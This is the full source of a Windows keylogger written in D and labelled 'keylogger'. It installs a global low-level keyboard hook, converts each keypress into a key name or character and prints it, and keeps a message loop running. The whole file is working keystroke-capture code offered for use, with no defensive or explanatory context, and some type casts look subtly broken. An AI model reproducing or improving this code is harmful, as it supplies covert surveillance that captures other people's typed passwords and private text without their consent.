keylogger

import core.runtime;
import std.c.windows.windows;
import std.stdio;
import std.string;
import core.thread;
import win32.winuser : GetKeyNameText; //The only function we need from winuser.d

alias HANDLE HHOOK; //A HHOOK is called a HANDLE in D so we use alias

HHOOK hKeyboardHook;

/* Define our constants and other stuff */
const int HC_ACTION = 0;
//const int WM_KEYDOWN = 0x0100;
//const int WM_SYSKEYDOWN = 0x0104;
const int WH_KEYBOARD_LL = 13;

struct KBDLLHOOKSTRUCT
{
    public int vkCode;
    public int scanCode;
    public int flags;
    public int time;
    public int dwExtraInfo;
}

extern (Windows) HHOOK SetWindowsHookExA(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);
extern (Windows) bool UnhookWindowsHookEx(HHOOK hhk);
extern (Windows) int CallNextHookEx(HHOOK hHook, int nCode, WPARAM wParam, LPARAM lParam);
//extern (Windows) int GetKeyNameTextW(DWORD lParam, string lpString, int nSize);

/* Our actual code here l0l */

LRESULT Keylogger (int nCode, WPARAM wParam, LPARAM lParam)
{
    if ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
    {
        KBDLLHOOKSTRUCT hooked_key = cast(KBDLLHOOKSTRUCT) lParam;
        DWORD dwMsg = 1;
        dwMsg += hooked_key.scanCode << 16;
        dwMsg += hooked_key.flags << 24;
        char lpszKeyName[1024];
        lpszKeyName[0] = '[';

        char* cChar = &lpszKeyName[0];

        int i = GetKeyNameText(dwMsg, cChar, 0xFF) + 1;
        int key = hooked_key.vkCode;
        lpszKeyName[i] = '[';
        if (key >= 'A' && key <= 'Z')
        {
            if (GetAsyncKeyState(VK_SHIFT) >= 0) key += 0x20;
            writeln(key);
        }
        else
        {
            writeln(lpszKeyName);
        }
    }
    return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}

DWORD JACKAL(LPVOID lpParam)
{
    HINSTANCE hins;
    hins = GetModuleHandleA(null);
    HOOKPROC _proc = cast(HOOKPROC)Keylogger;
    hKeyboardHook = SetWindowsHookExA(WH_KEYBOARD_LL, _proc, hins, 0);
    MSG message;
    while (GetMessageA(&message, null, 0, 0))
    {
        TranslateMessage(&message);
        DispatchMessageA(&message);
    }
    UnhookWindowsHookEx(hKeyboardHook);
    return 0;
}

int main(string[] argv)
{
    JACKAL(null);
    return 0;
}